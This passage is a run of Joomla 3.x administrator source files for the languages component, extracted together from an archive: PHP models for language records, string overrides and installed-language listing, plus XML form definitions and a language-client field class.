 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Languages Component Language Model
 *
 * @since  1.5
 */
class LanguagesModelLanguage extends JModelAdmin
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_after_save'  => 'onExtensionAfterSave',
				'event_before_save' => 'onExtensionBeforeSave',
				'events_map'        => array(
					'save' => 'extension'
				)
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Override to get the table.
	 *
	 * @param   string  $name     Name of the table.
	 * @param   string  $prefix   Table name prefix.
	 * @param   array   $options  Array of options.
	 *
	 * @return  JTable
	 *
	 * @since   1.6
	 */
	public function getTable($name = '', $prefix = '', $options = array())
	{
		return JTable::getInstance('Language');
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app    = JFactory::getApplication('administrator');
		$params = JComponentHelper::getParams('com_languages');

		// Load the User state.
		$langId = $app->input->getInt('lang_id');
		$this->setState('language.id', $langId);

		// Load the parameters.
		$this->setState('params', $params);
	}

	/**
	 * Method to get a member item.
	 *
	 * @param   integer  $langId  The id of the member to get.
	 *
	 * @return  mixed  User data object on success, false on failure.
	 *
	 * @since   1.0
	 */
	public function getItem($langId = null)
	{
		$langId = (!empty($langId)) ? $langId : (int) $this->getState('language.id');

		// Get a member row instance.
		$table = $this->getTable();

		// Attempt to load the row.
		$return = $table->load($langId);

		// Check for a table object error.
		if ($return === false && $table->getError())
		{
			$this->setError($table->getError());

			return false;
		}

		// Set a valid accesslevel in case '0' is stored due to a bug in the installation SQL (was fixed with PR 2714).
		if ($table->access == '0')
		{
			$table->access = (int) JFactory::getConfig()->get('access');
		}

		$properties = $table->getProperties(1);
		$value      = ArrayHelper::toObject($properties, 'JObject');

		return $value;
	}

	/**
	 * Method to get the group form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_languages.language', 'language', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_languages.edit.language.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_languages.language', $data);

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$langId = (!empty($data['lang_id'])) ? $data['lang_id'] : (int) $this->getState('language.id');
		$isNew  = true;

		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin($this->events_map['save']);

		$table   = $this->getTable();
		$context = $this->option . '.' . $this->name;

		// Load the row if saving an existing item.
		if ($langId > 0)
		{
			$table->load($langId);
			$isNew = false;
		}

		// Prevent white spaces, including East Asian double bytes.
		$spaces = array('/\xE3\x80\x80/', ' ');

		$data['lang_code'] = str_replace($spaces, '', $data['lang_code']);

		// Prevent saving an incorrect language tag
		if (!preg_match('#\b([a-z]{2,3})[-]([A-Z]{2})\b#', $data['lang_code']))
		{
			$this->setError(JText::_('COM_LANGUAGES_ERROR_LANG_TAG'));

			return false;
		}

		$data['sef'] = str_replace($spaces, '', $data['sef']);
		$data['sef'] = JApplicationHelper::stringURLSafe($data['sef']);

		// Prevent saving an empty url language code
		if ($data['sef'] === '')
		{
			$this->setError(JText::_('COM_LANGUAGES_ERROR_SEF'));

			return false;
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, $isNew));

		// Check the event responses.
		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Store the data.
		if (!$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array($context, &$table, $isNew));

		$this->setState('language.id', $table->lang_id);

		// Clean the cache.
		$this->cleanCache();

		return true;
	}

	/**
	 * Custom clean cache method.
	 *
	 * @param   string   $group     Optional cache group name.
	 * @param   integer  $clientId  Application client id.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('_system');
		parent::cleanCache('com_languages');
	}
}
com_languages/models/override.php000060400000014046152455305310013167 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Languages Override Model
 *
 * @since  2.5
 */
class LanguagesModelOverride extends JModelAdmin
{
	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed A JForm object on success, false on failure.
	 *
	 * @since   2.5
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_languages.override', 'override', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		$client   = $this->getState('filter.client', 'site');
		$language = $this->getState('filter.language', 'en-GB');
		$langName = JLanguage::getInstance($language)->getName();

		if (!$langName)
		{
			// If a language only exists in frontend, its metadata cannot be
			// loaded in backend at the moment, so fall back to the language tag.
			$langName = $language;
		}

		$form->setValue('client', null, JText::_('COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_' . strtoupper($client)));
		$form->setValue('language', null, JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE', $langName, $language));
		$form->setValue('file', null, JPath::clean(constant('JPATH_' . strtoupper($client)) . '/language/overrides/' . $language . '.override.ini'));

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed The data for the form.
	 *
	 * @since   2.5
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_languages.edit.override.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_languages.override', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   string  $pk  The key name.
	 *
	 * @return  mixed  	Object on success, false otherwise.
	 *
	 * @since   2.5
	 */
	public function getItem($pk = null)
	{
		$input    = JFactory::getApplication()->input;
		$pk       = !empty($pk) ? $pk : $input->get('id');
		$fileName = constant('JPATH_' . strtoupper($this->getState('filter.client')))
			. '/language/overrides/' . $this->getState('filter.language', 'en-GB') . '.override.ini';
		$strings  = JLanguageHelper::parseIniFile($fileName);

		$result = new stdClass;
		$result->key      = '';
		$result->override = '';

		if (isset($strings[$pk]))
		{
			$result->key      = $pk;
			$result->override = $strings[$pk];
		}

		$oppositeFileName = constant('JPATH_' . strtoupper($this->getState('filter.client') == 'site' ? 'administrator' : 'site'))
			. '/language/overrides/' . $this->getState('filter.language', 'en-GB') . '.override.ini';
		$oppositeStrings  = JLanguageHelper::parseIniFile($oppositeFileName);
		$result->both = isset($oppositeStrings[$pk]) && ($oppositeStrings[$pk] == $strings[$pk]);

		return $result;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array    $data            The form data.
	 * @param   boolean  $oppositeClient  Indicates whether the override should not be created for the current client.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   2.5
	 */
	public function save($data, $oppositeClient = false)
	{
		jimport('joomla.filesystem.file');

		$app = JFactory::getApplication();

		$client   = $app->getUserState('com_languages.overrides.filter.client', 0);
		$language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB');

		// If the override should be created for both.
		if ($oppositeClient)
		{
			$client = 1 - $client;
		}

		// Return false if the constant is a reserved word, i.e. YES, NO, NULL, FALSE, ON, OFF, NONE, TRUE
		$blacklist = array('YES', 'NO', 'NULL', 'FALSE', 'ON', 'OFF', 'NONE', 'TRUE');

		if (in_array($data['key'], $blacklist))
		{
			$this->setError(JText::_('COM_LANGUAGES_OVERRIDE_ERROR_RESERVED_WORDS'));

			return false;
		}

		$client = $client ? 'administrator' : 'site';

		// Parse the override.ini file in oder to get the keys and strings.
		$fileName = constant('JPATH_' . strtoupper($client)) . '/language/overrides/' . $language . '.override.ini';
		$strings  = JLanguageHelper::parseIniFile($fileName);

		if (isset($strings[$data['id']]))
		{
			// If an existent string was edited check whether
			// the name of the constant is still the same.
			if ($data['key'] == $data['id'])
			{
				// If yes, simply override it.
				$strings[$data['key']] = $data['override'];
			}
			else
			{
				// If no, delete the old string and prepend the new one.
				unset($strings[$data['id']]);
				$strings = array($data['key'] => $data['override']) + $strings;
			}
		}
		else
		{
			// If it is a new override simply prepend it.
			$strings = array($data['key'] => $data['override']) + $strings;
		}

		// Write override.ini file with the strings.
		if (JLanguageHelper::saveToIniFile($fileName, $strings) === false)
		{
			return false;
		}

		// If the override should be stored for both clients save
		// it also for the other one and prevent endless recursion.
		if (isset($data['both']) && $data['both'] && !$oppositeClient)
		{
			return $this->save($data, true);
		}

		return true;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication();

		$client = $app->getUserStateFromRequest('com_languages.overrides.filter.client', 'filter_client', 0, 'int') ? 'administrator' : 'site';
		$this->setState('filter.client', $client);

		$language = $app->getUserStateFromRequest('com_languages.overrides.filter.language', 'filter_language', 'en-GB', 'cmd');
		$this->setState('filter.language', $language);
	}
}
com_languages/models/forms/language.xml000060400000005063152455305310014271 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="lang_id" 
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			readonly="true"
		/>

		<field 
			name="lang_code" 
			type="text"
			label="COM_LANGUAGES_FIELD_LANG_TAG_LABEL"
			description="COM_LANGUAGES_FIELD_LANG_TAG_DESC"
			maxlength="7"
			required="true"
			size="10"
		/>

		<field 
			name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="COM_LANGUAGES_FIELD_TITLE_DESC"
			maxlength="50"
			required="true"
			size="40"
		/>

		<field 
			name="title_native"
			type="text"
			label="COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL"
			description="COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC"
			maxlength="50"
			required="true"
			size="40"
		/>

		<field 
			name="sef" 
			type="text"
			label="COM_LANGUAGES_FIELD_LANG_CODE_LABEL"
			description="COM_LANGUAGES_FIELD_LANG_CODE_DESC"
			maxlength="50"
			required="true"
			size="10"
		/>

		<field
			name="image"
			type="filelist"
			label="COM_LANGUAGES_FIELD_IMAGE_LABEL"
			description="COM_LANGUAGES_FIELD_IMAGE_DESC"
			stripext="1"
			directory="media/mod_languages/images/"
			hide_none="1"
			hide_default="1"
			filter="\.gif$"
			size="10"
			>
			<option value="">JNONE</option>
		</field>

		<field 
			name="description" 
			type="textarea"
			label="JGLOBAL_DESCRIPTION"
			description="COM_LANGUAGES_FIELD_DESCRIPTION_DESC"
			cols="80"
			rows="5"
		/>

		<field 
			name="published" 
			type="list"
			label="JSTATUS"
			description="COM_LANGUAGES_FIELD_PUBLISHED_DESC"
			default="1"
			size="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="-2">JTRASHED</option>
		</field>
		
		<field 
			name="access" 
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			size="1"
		/>
	</fieldset>
	<fieldset name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
		<field 
			name="metakey" 
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="JFIELD_META_KEYWORDS_DESC"
			rows="3"
			cols="30"
		/>

		<field 
			name="metadesc" 
			type="textarea"
			label="JFIELD_META_DESCRIPTION_LABEL"
			description="JFIELD_META_DESCRIPTION_DESC"
			rows="3"
			cols="30"
		/>
	</fieldset>
	<fieldset name="site_name" label="COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL">
		<field 
			name="sitename" 
			type="text"
			label="COM_LANGUAGES_FIELD_SITE_NAME_LABEL"
			description="COM_LANGUAGES_FIELD_SITE_NAME_DESC"
			filter="string"
			size="50"
		/>
	</fieldset>
</form>
com_languages/models/forms/filter_overrides.xml000060400000001220152455305310016044 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="language_client"
		type="languageclient"
		onchange="this.form.submit();"
		>
		<option value="">COM_LANGUAGES_OVERRIDE_SELECT_LANGUAGE</option>
	</field>

	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="JSEARCH_FILTER"
			description="COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

	</fields>
	<fields name="list">
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_languages/models/forms/override.xml000060400000003737152455305310014333 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="key"
			type="text"
			label="COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC"
			size="60"
			required="true"
			filter="LanguagesHelper::filterKey" 
		/>

		<field
			name="override"
			type="textarea"
			label="COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC"
			cols="50"
			rows="5"
			filter="LanguagesHelper::filterText" 
		/>

		<field
			name="both"
			type="checkbox"
			label="COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC"
			value="true"
			filter="boolean" 
		/>

		<field
			name="searchstring"
			type="text"
			label="COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC"
			size="50"
		/>

		<field
			name="searchtype"
			type="list"
			label="COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC"
			default="value"
			>
			<option value="constant">COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT</option>
			<option value="value">COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT</option>
		</field>

		<field 
			name="language" 
			type="text"
			label="COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC"
			filter="unset"
			readonly="true"
			class="readonly"
			size="50"
		/>

		<field 
			name="client" 
			type="text"
			label="COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC"
			filter="unset"
			readonly="true"
			class="readonly"
			size="50"
		/>

		<field 
			name="file" 
			type="text"
			label="COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL"
			description="COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC"
			filter="unset"
			readonly="true"
			class="readonly"
			size="80"
		/>

		<field
			name="id"
			type="hidden"
		/>
	</fieldset>
</form>
com_languages/models/forms/filter_installed.xml000060400000004601152455305310016027 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<field
		name="client_id"
		type="list"
		onchange="jQuery('#filter_search, select[id^=filter_], #list_fullordering').val('');this.form.submit();"
		filtermode="selector"
		>
		<option value="0">JSITE</option>
		<option value="1">JADMINISTRATOR</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_LANGUAGES_INSTALLED_FILTER_SEARCH_LABEL"
			description="COM_LANGUAGES_INSTALLED_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			noresults="JGLOBAL_NO_MATCHING_RESULTS"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="name ASC">COM_LANGUAGES_HEADING_LANGUAGE_ASC</option>
			<option value="name DESC">COM_LANGUAGES_HEADING_LANGUAGE_DESC</option>
			<option value="nativeName ASC">COM_LANGUAGES_HEADING_TITLE_NATIVE_ASC</option>
			<option value="nativeName DESC">COM_LANGUAGES_HEADING_TITLE_NATIVE_DESC</option>
			<option value="language ASC">COM_LANGUAGES_HEADING_LANG_TAG_ASC</option>
			<option value="language DESC">COM_LANGUAGES_HEADING_LANG_TAG_DESC</option>
			<option value="published ASC">COM_LANGUAGES_HEADING_DEFAULT_ASC</option>
			<option value="published DESC">COM_LANGUAGES_HEADING_DEFAULT_DESC</option>
			<option value="version ASC">COM_LANGUAGES_HEADING_VERSION_ASC</option>
			<option value="version DESC">COM_LANGUAGES_HEADING_VERSION_DESC</option>
			<option value="creationDate ASC">COM_LANGUAGES_HEADING_DATE_ASC</option>
			<option value="creationDate DESC">COM_LANGUAGES_HEADING_DATE_DESC</option>
			<option value="author ASC">COM_LANGUAGES_HEADING_AUTHOR_ASC</option>
			<option value="author DESC">COM_LANGUAGES_HEADING_AUTHOR_DESC</option>
			<option value="authorEmail ASC">COM_LANGUAGES_HEADING_AUTHOR_EMAIL_ASC</option>
			<option value="authorEmail DESC">COM_LANGUAGES_HEADING_AUTHOR_EMAIL_DESC</option>
			<option value="extension_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="extension_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_languages/models/forms/filter_languages.xml000060400000004637152455305310016027 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="JSEARCH_FILTER"
			description="COM_LANGUAGES_SEARCH_IN_TITLE"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="published"
			type="status"
			filter="1,0,-2,*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.ordering ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.title_native ASC">COM_LANGUAGES_HEADING_TITLE_NATIVE_ASC</option>
			<option value="a.title_native DESC">COM_LANGUAGES_HEADING_TITLE_NATIVE_DESC</option>
			<option value="a.lang_code ASC">COM_LANGUAGES_HEADING_LANG_TAG_ASC</option>
			<option value="a.lang_code DESC">COM_LANGUAGES_HEADING_LANG_TAG_DESC</option>
			<option value="a.sef ASC">COM_LANGUAGES_HEADING_LANG_CODE_ASC</option>
			<option value="a.sef DESC">COM_LANGUAGES_HEADING_LANG_CODE_DESC</option>
			<option value="a.image ASC">COM_LANGUAGES_HEADING_LANG_IMAGE_ASC</option>
			<option value="a.image DESC">COM_LANGUAGES_HEADING_LANG_IMAGE_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="l.home ASC">COM_LANGUAGES_HEADING_HOMEPAGE_ASC</option>
			<option value="l.home DESC">COM_LANGUAGES_HEADING_HOMEPAGE_DESC</option>
			<option value="a.lang_id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.lang_id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_languages/models/fields/languageclient.php000060400000003361152455305310015576 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Client Language List field.
 *
 * @since  3.9.0
 */
class JFormFieldLanguageclient extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since   3.9.0
	 */
	protected $type = 'Languageclient';

	/**
	 * Cached form field options.
	 *
	 * @var		array
	 * @since   3.9.0
	 */
	protected $cache = array();

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.9.0
	 */
	protected function getOptions()
	{
		// Try to load the data from our mini-cache.
		if (!empty($this->cache))
		{
			return $this->cache;
		}

		// Get all languages of frontend and backend.
		$languages       = array();
		$site_languages  = JLanguageHelper::getKnownLanguages(JPATH_SITE);
		$admin_languages = JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR);

		// Create a single array of them.
		foreach ($site_languages as $tag => $language)
		{
			$languages[$tag . '0'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JSITE'));
		}

		foreach ($admin_languages as $tag => $language)
		{
			$languages[$tag . '1'] = JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM', $language['name'], JText::_('JADMINISTRATOR'));
		}

		// Sort it by language tag and by client after that.
		ksort($languages);

		// Add the languages to the internal cache.
		$this->cache = array_merge(parent::getOptions(), $languages);

		return $this->cache;
	}
}
com_languages/models/installed.php000060400000024573152455305310013335 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Languages Component Languages Model
 *
 * @since  1.6
 */
class LanguagesModelInstalled extends JModelList
{
	/**
	 * @var object client object
	 * @deprecated 4.0
	 */
	protected $client = null;

	/**
	 * @var object user object
	 */
	protected $user = null;

	/**
	 * @var boolean|JExeption True, if FTP settings should be shown, or an exception
	 */
	protected $ftp = null;

	/**
	 * @var string option name
	 */
	protected $option = null;

	/**
	 * @var array languages description
	 */
	protected $data = null;

	/**
	 * @var int total number of languages
	 */
	protected $total = null;

	/**
	 * @var int total number of languages installed
	 * @deprecated 4.0
	 */
	protected $langlist = null;

	/**
	 * @var string language path
	 */
	protected $path = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.5
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'name',
				'nativeName',
				'language',
				'author',
				'published',
				'version',
				'creationDate',
				'author',
				'authorEmail',
				'extension_id',
				'client_id',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'name', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		// Special case for client id.
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$clientId = (!in_array($clientId, array (0, 1))) ? 0 : $clientId;
		$this->setState('client_id', $clientId);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_languages');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   1.6
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':' . $this->getState('client_id');
		$id	.= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Method to get the client object.
	 *
	 * @return  object
	 *
	 * @since   1.6
	 */
	public function getClient()
	{
		return JApplicationHelper::getClientInfo($this->getState('client_id', 0));
	}

	/**
	 * Method to get the ftp credentials.
	 *
	 * @return  object
	 *
	 * @since   1.6
	 */
	public function getFtp()
	{
		if (is_null($this->ftp))
		{
			$this->ftp = JClientHelper::setCredentialsFromRequest('ftp');
		}

		return $this->ftp;
	}

	/**
	 * Method to get the option.
	 *
	 * @return  object
	 *
	 * @since   1.6
	 */
	public function getOption()
	{
		$option = $this->getState('option');

		return $option;
	}

	/**
	 * Method to get Languages item data.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getData()
	{
		// Fetch language data if not fetched yet.
		if (is_null($this->data))
		{
			$this->data = array();

			$isCurrentLanguageRtl = JFactory::getLanguage()->isRtl();
			$params               = JComponentHelper::getParams('com_languages');
			$installedLanguages   = JLanguageHelper::getInstalledLanguages(null, true, true, null, null, null);

			// Compute all the languages.
			foreach ($installedLanguages as $clientId => $languages)
			{
				$defaultLanguage = $params->get(JApplicationHelper::getClientInfo($clientId)->name, 'en-GB');

				foreach ($languages as $lang)
				{
					$row               = new stdClass;
					$row->language     = $lang->element;
					$row->name         = $lang->metadata['name'];
					$row->nativeName   = isset($lang->metadata['nativeName']) ? $lang->metadata['nativeName'] : '-';
					$row->client_id    = (int) $lang->client_id;
					$row->extension_id = (int) $lang->extension_id;
					$row->author       = $lang->manifest['author'];
					$row->creationDate = $lang->manifest['creationDate'];
					$row->authorEmail  = $lang->manifest['authorEmail'];
					$row->version      = $lang->manifest['version'];
					$row->published    = $defaultLanguage === $row->language ? 1 : 0;
					$row->checked_out  = 0;

					// Fix wrongly set parentheses in RTL languages
					if ($isCurrentLanguageRtl)
					{
						$row->name       = html_entity_decode($row->name . '&#x200E;', ENT_QUOTES, 'UTF-8');
						$row->nativeName = html_entity_decode($row->nativeName . '&#x200E;', ENT_QUOTES, 'UTF-8');
					}

					$this->data[] = $row;
				}
			}
		}

		$installedLanguages = array_merge($this->data);

		// Process filters.
		$clientId = (int) $this->getState('client_id');
		$search   = $this->getState('filter.search');

		foreach ($installedLanguages as $key => $installedLanguage)
		{
			// Filter by client id.
			if (in_array($clientId, array(0, 1)))
			{
				if ($installedLanguage->client_id !== $clientId)
				{
					unset($installedLanguages[$key]);
					continue;
				}
			}

			// Filter by search term.
			if (!empty($search))
			{
				if (stripos($installedLanguage->name, $search) === false
					&& stripos($installedLanguage->nativeName, $search) === false
					&& stripos($installedLanguage->language, $search) === false)
				{
					unset($installedLanguages[$key]);
					continue;
				}
			}
		}

		// Process ordering.
		$listOrder = $this->getState('list.ordering', 'name');
		$listDirn  = $this->getState('list.direction', 'ASC');
		$installedLanguages = ArrayHelper::sortObjects($installedLanguages, $listOrder, strtolower($listDirn) === 'desc' ? -1 : 1, true, true);

		// Process pagination.
		$limit = (int) $this->getState('list.limit', 25);

		// Sets the total for pagination.
		$this->total = count($installedLanguages);

		if ($limit !== 0)
		{
			$start = (int) $this->getState('list.start', 0);

			return array_slice($installedLanguages, $start, $limit);
		}

		return $installedLanguages;
	}

	/**
	 * Method to get installed languages data.
	 *
	 * @return  string	An SQL query.
	 *
	 * @since   1.6
	 *
	 * @deprecated   4.0
	 */
	protected function getLanguageList()
	{
		// Create a new db object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$client = $this->getState('client_id');
		$type = 'language';

		// Select field element from the extensions table.
		$query->select($this->getState('list.select', 'a.element'))
			->from('#__extensions AS a');

		$type = $db->quote($type);
		$query->where('(a.type = ' . $type . ')')
			->where('state = 0')
			->where('enabled = 1')
			->where('client_id=' . (int) $client);

		// For client_id = 1 do we need to check language table also?
		$db->setQuery($query);

		$this->langlist = $db->loadColumn();

		return $this->langlist;
	}

	/**
	 * Method to get the total number of Languages items.
	 *
	 * @return  integer
	 *
	 * @since   1.6
